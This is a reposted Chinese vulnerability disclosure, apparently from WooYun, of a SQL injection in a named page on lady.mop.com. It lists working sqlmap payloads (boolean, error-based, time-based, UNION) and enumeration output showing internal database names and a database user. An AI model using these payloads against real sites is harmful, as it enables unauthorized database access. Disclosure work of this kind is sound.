神刀安全网

漏洞标题: 猫扑某站SQL注入漏洞

漏洞详情

披露状态:

2016-03-29: 细节已通知厂商并且等待厂商处理中
2016-04-03: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

http://zone.wooyun.org/content/26213

详细说明:

lady.mop.com/news/bencandy.php?fid=47&aid=908

存在的注入参数

find

code 区域
Parameter: fid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: fid=47 AND 1872=1872&aid=908

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: fid=47 AND (SELECT 7959 FROM(SELECT COUNT(*),CONCAT(0x71766b6a71,(SELECT (ELT(7959=7959,1))),0x7162786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&aid=908

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: fid=47 AND (SELECT * FROM (SELECT(SLEEP(5)))anib)&aid=908

Type: UNION query
Title: MySQL UNION query (NULL) - 52 columns
Payload: fid=47 UNION ALL SELECT NULL,CONCAT(0x71766b6a71,0x557a59596d4d7661656e,0x7162786b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&aid=908
---
[14:38:10] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0

漏洞证明:

code 区域
available databases [14]:
[*] information_schema
[*] mop_demo
[*] mop_entertainment
[*] mop_entertainment1
[*] mop_health
[*] mop_health1
[*] mop_lady
[*] mop_lady1
[*] mop_local
[*] mop_news
[*] mop_society
[*] mop_society1
[*] mysql
[*] performance_schema

用户信息

code 区域
back-end DBMS: MySQL 5.0
[14:36:46] [INFO] fetching current user
current user: 'liudutianxia@%'
[14:36:47] [INFO] fetching current database
current database: 'mop_lady1'

不好传图片

修复方案:

过滤

waf

版权声明:转载请注明来源 Jumbo@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 猫扑某站SQL注入漏洞

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮